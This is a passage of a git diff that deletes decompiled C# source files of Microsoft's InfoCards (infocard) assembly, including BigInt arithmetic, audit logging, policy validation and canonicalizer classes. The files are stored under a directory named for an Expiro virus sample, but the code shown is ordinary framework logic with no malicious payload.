a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AuditLog.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AuditLog -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal static class AuditLog - { - public static void AuditCardWritten() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_WRITTEN); - - public static void AuditCardDeletion() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_DELETE); - - public static void AuditCardImport() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_IMPORT); - - public static void AuditStoreImport() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_IMPORT); - - public static void AuditStoreExport() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_EXPORT); - - public static void AuditStoreDeletion() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_DELETE); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs deleted file mode 100644 index 6e3f978f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginCreateSecurityTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginCreateSecurityTokenRequest : UIAgentAsyncBeginRequest - { - private bool m_discloseOptional; - private TokenFactoryCredential m_credential; - - public BeginCreateSecurityTokenRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_discloseOptional = reader.ReadBoolean(); - this.m_credential = TokenFactoryCredential.CreateFrom(reader, (UIAgentRequest) this, this.ParentRequest.UserLanguage); - } - - protected override object AsyncExecute(AsyncParams asyncParam) => (object) ((GetTokenRequest) this.ParentRequest).CreateSecurityToken(this.m_credential, this.m_discloseOptional); - - protected override void AsyncCancel() => ((GetTokenRequest) this.ParentRequest).CancelCreateSecurityToken(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs deleted file mode 100644 index 8f79b543..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginGetFileNameFromUserRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginGetFileNameFromUserRequest : UIAgentAsyncBeginRequest - { - private bool m_getContent; - private string m_arguments; - - public BeginGetFileNameFromUserRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_getContent = reader.ReadBoolean(); - this.m_arguments = Utility.DeserializeString(reader); - } - - protected override object AsyncExecute(AsyncParams asyncParams) - { - uint num = 0; - string empty = string.Empty; - GetFileNameResult getFileNameResult = new GetFileNameResult(); - using (new SystemIdentity(true)) - num = NativeMcppMethods.CreateAndWaitForFileOpenDialogWrapper(this.m_arguments, this.RequestorIdentity, this.ParentRequest.CallerPid, ref empty); - if (num == 0U) - { - try - { - getFileNameResult.FileName = empty; - if (this.m_getContent) - { - if (!string.IsNullOrEmpty(empty)) - { - FileInfo fileInfo = new FileInfo(empty); - using (FileStream fileStream = File.OpenRead(empty)) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader((Stream) fileStream); - getFileNameResult.FileContent = binaryReader.ReadBytes((int) fileInfo.Length); - } - } - } - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new FileAccessException(SR.GetString("ServiceInaccessibleFile"), ex)); - throw; - } - } - return (object) getFileNameResult; - } - - protected override void AsyncCancel() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginSelectCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginSelectCardRequest.cs deleted file mode 100644 index 9d616f3c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginSelectCardRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginSelectCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginSelectCardRequest : UIAgentAsyncBeginRequest - { - private InfoCard m_card; - - public BeginSelectCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_card = new InfoCard(reader.BaseStream); - this.m_card.GetExtendedInformation().Deserialize(reader.BaseStream); - this.m_card.GetRPIdentityRequirement().Deserialize(reader.BaseStream); - this.m_card.GetClaims().Deserialize(reader.BaseStream); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCardMasterKey masterKey = this.m_card.GetMasterKey(connection); - if (!this.m_card.IsPinProtected) - return; - masterKey.Decrypt(masterKey.GetPinHelper(this.m_card.Pin)); - } - finally - { - connection.Close(); - } - } - - protected override object AsyncExecute(AsyncParams asyncParam) => (object) ((GetTokenRequest) this.ParentRequest).SelectCard(this.m_card, this.m_card.IsSelfIssued); - - protected override void AsyncCancel() => ((GetTokenRequest) this.ParentRequest).CancelSelectCard(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BigInt.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BigInt.cs deleted file mode 100644 index c2a6d8f8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BigInt.cs +++ /dev/null @@ -1,400 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BigInt -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal sealed class BigInt - { - private const int m_maxbytes = 128; - private const int m_base = 256; - private byte[] m_elements; - private int m_size; - private static readonly char[] decValues = new char[10] - { - '0', - '1', - '2', - '3', - '4', - '5', - '6', - '7', - '8', - '9' - }; - - internal BigInt() => this.m_elements = new byte[128]; - - internal BigInt(byte[] b) - { - this.m_elements = new byte[128]; - Array.Copy((Array) b, (Array) this.m_elements, b.Length); - this.m_size = b.Length; - } - - internal BigInt(byte b) - { - this.m_elements = new byte[128]; - this.SetDigit(0, b); - } - - internal int Size - { - get => this.m_size; - set - { - this.m_size = value; - if (value > 128) - this.m_size = 128; - if (value >= 0) - return; - this.m_size = 0; - } - } - - internal byte GetDigit(int index) => index < 0 || index >= this.m_size ? (byte) 0 : this.m_elements[index]; - - internal void SetDigit(int index, byte digit) - { - if (index < 0 || index >= 128) - return; - this.m_elements[index] = digit; - if (index >= this.m_size && digit != (byte) 0) - this.m_size = index + 1; - if (index != this.m_size - 1 || digit != (byte) 0) - return; - --this.m_size; - } - - internal void SetDigit(int index, byte digit, ref int size) - { - if (index < 0 || index >= 128) - return; - this.m_elements[index] = digit; - if (index >= size && digit != (byte) 0) - size = index + 1; - if (index != size - 1 || digit != (byte) 0) - return; - --size; - } - - public static bool operator <(BigInt value1, BigInt value2) - { - if (value1 == (BigInt) null) - return true; - if (value2 == (BigInt) null) - return false; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return size1 < size2; - while (size1-- > 0) - { - if ((int) value1.m_elements[size1] != (int) value2.m_elements[size1]) - return (int) value1.m_elements[size1] < (int) value2.m_elements[size1]; - } - return false; - } - - public static bool operator >(BigInt value1, BigInt value2) - { - if (value1 == (BigInt) null) - return false; - if (value2 == (BigInt) null) - return true; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return size1 > size2; - while (size1-- > 0) - { - if ((int) value1.m_elements[size1] != (int) value2.m_elements[size1]) - return (int) value1.m_elements[size1] > (int) value2.m_elements[size1]; - } - return false; - } - - public static bool operator ==(BigInt value1, BigInt value2) - { - if ((object) value1 == null) - return (object) value2 == null; - if ((object) value2 == null) - return (object) value1 == null; - int size1 = value1.Size; - int size2 = value2.Size; - if (size1 != size2) - return false; - for (int index = 0; index < size1; ++index) - { - if ((int) value1.m_elements[index] != (int) value2.m_elements[index]) - return false; - } - return true; - } - - public static bool operator !=(BigInt value1, BigInt value2) => !(value1 == value2); - - public override bool Equals(object obj) - { - BigInt bigInt = obj as BigInt; - return (BigInt) null != bigInt && bigInt == this; - } - - public override int GetHashCode() - { - int hashCode = 0; - for (int index = 0; index < this.m_size; ++index) - hashCode += (int) this.GetDigit(index); - return hashCode; - } - - internal static void Add(BigInt a, byte b, ref BigInt c) - { - byte digit = b; - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num = (int) a.GetDigit(index) + (int) digit; - c.SetDigit(index, (byte) (num & (int) byte.MaxValue), ref size2); - digit = (byte) (num >> 8 & (int) byte.MaxValue); - } - if (digit != (byte) 0) - c.SetDigit(a.Size, digit, ref size2); - c.Size = size2; - } - - internal static void Negate(ref BigInt a) - { - int size = 0; - for (int index = 0; index < 128; ++index) - a.SetDigit(index, (byte) ((uint) ~a.GetDigit(index) & (uint) byte.MaxValue), ref size); - for (int index = 0; index < 128; ++index) - { - a.SetDigit(index, (byte) ((uint) a.GetDigit(index) + 1U), ref size); - if (((int) a.GetDigit(index) & (int) byte.MaxValue) == 0) - a.SetDigit(index, (byte) ((uint) a.GetDigit(index) & (uint) byte.MaxValue), ref size); - else - break; - } - a.Size = size; - } - - internal static void Subtract(BigInt a, BigInt b, ref BigInt c) - { - byte num1 = 0; - if (a < b) - { - BigInt.Subtract(b, a, ref c); - BigInt.Negate(ref c); - } - else - { - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = (int) a.GetDigit(index) - (int) b.GetDigit(index) - (int) num1; - num1 = (byte) 0; - if (num2 < 0) - { - num2 += 256; - num1 = (byte) 1; - } - c.SetDigit(index, (byte) (num2 & (int) byte.MaxValue), ref size2); - } - c.Size = size2; - } - } - - private void Multiply(int b) - { - if (b == 0) - { - this.Clear(); - } - else - { - int num1 = 0; - int size1 = this.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = b * (int) this.GetDigit(index) + num1; - num1 = num2 / 256; - this.SetDigit(index, (byte) (num2 % 256), ref size2); - } - if (num1 != 0) - { - byte[] bytes = BitConverter.GetBytes(num1); - for (int index = 0; index < bytes.Length; ++index) - this.SetDigit(size1 + index, bytes[index], ref size2); - } - this.Size = size2; - } - } - - private static void Multiply(BigInt a, int b, ref BigInt c) - { - if (b == 0) - { - c.Clear(); - } - else - { - int num1 = 0; - int size1 = a.Size; - int size2 = 0; - for (int index = 0; index < size1; ++index) - { - int num2 = b * (int) a.GetDigit(index) + num1; - num1 = num2 / 256; - c.SetDigit(index, (byte) (num2 % 256), ref size2); - } - if (num1 != 0) - { - byte[] bytes = BitConverter.GetBytes(num1); - for (int index = 0; index < bytes.Length; ++index) - c.SetDigit(size1 + index, bytes[index], ref size2); - } - c.Size = size2; - } - } - - private void Divide(int b) - { - int num1 = 0; - int size1 = this.Size; - int size2 = 0; - while (size1-- > 0) - { - int num2 = 256 * num1 + (int) this.GetDigit(size1); - num1 = num2 % b; - this.SetDigit(size1, (byte) (num2 / b), ref size2); - } - this.Size = size2; - } - - internal static void Divide( - BigInt numerator, - BigInt denominator, - ref BigInt quotient, - ref BigInt remainder) - { - if (numerator < denominator) - { - quotient.Clear(); - remainder.CopyFrom(numerator); - } - else if (numerator == denominator) - { - quotient.Clear(); - quotient.SetDigit(0, (byte) 1); - remainder.Clear(); - } - else - { - BigInt c1 = new BigInt(); - c1.CopyFrom(numerator); - BigInt a = new BigInt(); - a.CopyFrom(denominator); - uint num = 0; - while (a.Size < c1.Size) - { - a.Multiply(256); - ++num; - } - if (a > c1) - { - a.Divide(256); - --num; - } - BigInt c2 = new BigInt(); - quotient.Clear(); - for (int index = 0; (long) index <= (long) num; ++index) - { - int b = (c1.Size == a.Size ? (int) c1.GetDigit(c1.Size - 1) : 256 * (int) c1.GetDigit(c1.Size - 1) + (int) c1.GetDigit(c1.Size - 2)) / (int) a.GetDigit(a.Size - 1); - if (b >= 256) - b = (int) byte.MaxValue; - BigInt.Multiply(a, b, ref c2); - while (c2 > c1) - { - --b; - BigInt.Multiply(a, b, ref c2); - } - quotient.Multiply(256); - BigInt.Add(quotient, (byte) b, ref quotient); - BigInt.Subtract(c1, c2, ref c1); - a.Divide(256); - } - remainder.CopyFrom(c1); - } - } - - internal void CopyFrom(BigInt a) - { - Array.Copy((Array) a.m_elements, (Array) this.m_elements, 128); - this.m_size = a.m_size; - } - - internal bool IsZero() - { - for (int index = 0; index < this.m_size; ++index) - { - if (this.m_elements[index] != (byte) 0) - return false; - } - return true; - } - - internal byte[] ToByteArray() - { - byte[] destinationArray = new byte[this.Size]; - Array.Copy((Array) this.m_elements, (Array) destinationArray, this.Size); - return destinationArray; - } - - internal void Clear() => this.m_size = 0; - - internal void FromDecimal(string decNum) - { - BigInt c1 = new BigInt(); - BigInt c2 = new BigInt(); - int length = decNum.Length; - for (int index = 0; index < length; ++index) - { - if (decNum[index] > '9' || decNum[index] < '0') - throw InfoCardTrace.ThrowHelperError((Exception) new FormatException()); - BigInt.Multiply(c1, 10, ref c2); - BigInt.Add(c2, (byte) ((uint) decNum[index] - 48U), ref c1); - } - this.CopyFrom(c1); - } - - internal string ToDecimal() - { - BigInt denominator = new BigInt((byte) 10); - BigInt numerator = new BigInt(); - BigInt quotient = new BigInt(); - BigInt remainder = new BigInt(); - numerator.CopyFrom(this); - char[] chArray = new char[8 * this.m_size / 3]; - int length = 0; - do - { - BigInt.Divide(numerator, denominator, ref quotient, ref remainder); - chArray[length++] = BigInt.decValues[(int) remainder.m_elements[0]]; - numerator.CopyFrom(quotient); - } - while (!quotient.IsZero()); - Array.Reverse((Array) chArray, 0, length); - return new string(chArray, 0, length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BrowserPolicyValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BrowserPolicyValidator.cs deleted file mode 100644 index ff02c014..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BrowserPolicyValidator.cs +++ /dev/null @@ -1,26 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BrowserPolicyValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -namespace Microsoft.InfoCards -{ - internal class BrowserPolicyValidator : PolicyValidator - { - public BrowserPolicyValidator(InfoCardPolicy policy) - : base(policy) - { - } - - public override void Validate() - { - this.ValidateClaims(); - this.ValidateNonWhiteListElements(); - this.ValidateRequestType(); - this.ValidateTokenType(); - this.ValidatePrivacyVersion(); - this.ValidateRecipients(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CancelAsyncOperationRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CancelAsyncOperationRequest.cs deleted file mode 100644 index 12ca81b0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CancelAsyncOperationRequest.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CancelAsyncOperationRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class CancelAsyncOperationRequest : UIAgentRequest - { - private int m_asyncHandle; - - public CancelAsyncOperationRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - this.m_asyncHandle = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_asyncHandle, "asyncHandle"); - } - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnProcess() => this.ParentRequest.CancelAsyncOp(this.m_asyncHandle); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Canonicalizers.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Canonicalizers.cs deleted file mode 100644 index fbdd67e5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Canonicalizers.cs +++ /dev/null @@ -1,248 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Canonicalizers -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class Canonicalizers - { - private static ICanonicalizer s_binary; - private static ICanonicalizer s_caseInsensitiveWithHashing; - private static ICanonicalizer s_caseSensitiveWithHashing; - private static ICanonicalizer s_binaryWithHashing; - - private Canonicalizers() - { - } - - public static ICanonicalizer CaseInsensitiveWithHashing - { - get - { - if (Canonicalizers.s_caseInsensitiveWithHashing == null) - Canonicalizers.s_caseInsensitiveWithHashing = (ICanonicalizer) new Canonicalizers.CaseInsensitiveCanonicalizer(true, Encoding.Unicode, CultureInfo.InvariantCulture); - return Canonicalizers.s_caseInsensitiveWithHashing; - } - } - - public static ICanonicalizer CaseSensitiveWithHashing - { - get - { - if (Canonicalizers.s_caseSensitiveWithHashing == null) - Canonicalizers.s_caseSensitiveWithHashing = (ICanonicalizer) new Canonicalizers.CaseSensitiveCanonicalizer(true, Encoding.Unicode, CultureInfo.InvariantCulture); - return Canonicalizers.s_caseSensitiveWithHashing; - } - } - - public static ICanonicalizer Binary - { - get - { - if (Canonicalizers.s_binary == null) - Canonicalizers.s_binary = (ICanonicalizer) new Canonicalizers.BinaryCanonicalizer(false); - return Canonicalizers.s_binary; - } - } - - public static ICanonicalizer BinaryWithHashing - { - get - { - if (Canonicalizers.s_binaryWithHashing == null) - Canonicalizers.s_binaryWithHashing = (ICanonicalizer) new Canonicalizers.BinaryCanonicalizer(true); - return Canonicalizers.s_binaryWithHashing; - } - } - - private delegate byte[] CanonicalizeObjectCallback(object dataToHash); - - private abstract class CanonicalizerBase : ICanonicalizer - { - private bool m_hashValue; - - public CanonicalizerBase(bool hashValue) => this.m_hashValue = hashValue; - - public byte[] Canonicalize(object obj) - { - byte[] dataToHash = obj != null ? this.GetRawForm(obj) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - if (!this.m_hashValue) - return dataToHash; - byte[] data = new byte[HashUtility.HashBufferLength]; - HashUtility.SetHashValue(data, 0, dataToHash); - return data; - } - - public abstract bool CanCanonicalize(object obj); - - protected abstract byte[] GetRawForm(object obj); - } - - private class BinaryCanonicalizer : Canonicalizers.CanonicalizerBase - { - private Dictionary m_canonicalizers; - - public BinaryCanonicalizer(bool hashValue) - : base(hashValue) - { - this.m_canonicalizers = new Dictionary(); - this.CreateCanonicalizers(); - } - - public override bool CanCanonicalize(object obj) => obj != null ? this.m_canonicalizers.ContainsKey(obj.GetType()) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - - private void CreateCanonicalizers() - { - this.m_canonicalizers.Add(typeof (short), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt16)); - this.m_canonicalizers.Add(typeof (ushort), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt16)); - this.m_canonicalizers.Add(typeof (int), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt32)); - this.m_canonicalizers.Add(typeof (uint), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt32)); - this.m_canonicalizers.Add(typeof (long), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeInt64)); - this.m_canonicalizers.Add(typeof (ulong), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeUInt64)); - this.m_canonicalizers.Add(typeof (byte), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeByte)); - this.m_canonicalizers.Add(typeof (byte[]), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeByteArray)); - this.m_canonicalizers.Add(typeof (string), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeString)); - this.m_canonicalizers.Add(typeof (Guid), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeGuid)); - this.m_canonicalizers.Add(typeof (GlobalId), new Canonicalizers.CanonicalizeObjectCallback(this.CanonicalizeGlobalId)); - } - - protected override byte[] GetRawForm(object obj) => this.m_canonicalizers[obj.GetType()](obj); - - private byte[] CanonicalizeGlobalId(object data) => data != null ? ((Guid) (GlobalId) data).ToByteArray() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private byte[] CanonicalizeGuid(object data) => data != null ? ((Guid) data).ToByteArray() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private unsafe byte[] CanonicalizeInt16(object data) - { - short num = data != null ? (short) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[2]; - fixed (byte* numPtr = &numArray[0]) - *(short*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt16(object data) - { - ushort num = data != null ? (ushort) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[2]; - fixed (byte* numPtr = &numArray[0]) - *(short*) numPtr = (short) num; - return numArray; - } - - private unsafe byte[] CanonicalizeInt32(object data) - { - int num = data != null ? (int) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[4]; - fixed (byte* numPtr = &numArray[0]) - *(int*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt32(object data) - { - uint num = data != null ? (uint) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[4]; - fixed (byte* numPtr = &numArray[0]) - *(int*) numPtr = (int) num; - return numArray; - } - - private unsafe byte[] CanonicalizeInt64(object data) - { - long num = data != null ? (long) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[8]; - fixed (byte* numPtr = &numArray[0]) - *(long*) numPtr = num; - return numArray; - } - - private unsafe byte[] CanonicalizeUInt64(object data) - { - ulong num = data != null ? (ulong) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - byte[] numArray = new byte[8]; - fixed (byte* numPtr = &numArray[0]) - *(long*) numPtr = (long) num; - return numArray; - } - - private byte[] CanonicalizeString(object data) - { - string s = data != null ? (string) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - return !string.IsNullOrEmpty(s) ? Encoding.Unicode.GetBytes(s) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - } - - private byte[] CanonicalizeByte(object data) => data != null ? new byte[1] - { - (byte) data - } : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - - private byte[] CanonicalizeByteArray(object data) => data != null ? (byte[]) data : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - } - - private abstract class StringCanonicalizerBase : Canonicalizers.CanonicalizerBase - { - private static readonly Type[] s_validTypes = new Type[2] - { - typeof (string), - typeof (Uri) - }; - private Encoding m_encoding; - private CultureInfo m_culture; - - protected StringCanonicalizerBase(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue) - { - if (encoding == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (encoding)); - this.m_culture = culture != null ? culture : CultureInfo.InvariantCulture; - this.m_encoding = encoding; - } - - protected virtual Type[] SupportedTypes => Canonicalizers.StringCanonicalizerBase.s_validTypes; - - public CultureInfo Culture => this.m_culture; - - public Encoding Encoding => this.m_encoding; - - public override bool CanCanonicalize(object obj) - { - if (obj == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (obj)); - return this.SupportedTypes != null && -1 != Array.IndexOf(this.SupportedTypes, obj.GetType()); - } - - protected override byte[] GetRawForm(object obj) => this.GetBytesFromString(obj.ToString()); - - protected abstract byte[] GetBytesFromString(string data); - } - - private class CaseSensitiveCanonicalizer : Canonicalizers.StringCanonicalizerBase - { - public CaseSensitiveCanonicalizer(bool hashValue, Encoding encoding, CultureInfo culture) - : base(hashValue, encoding, culture) 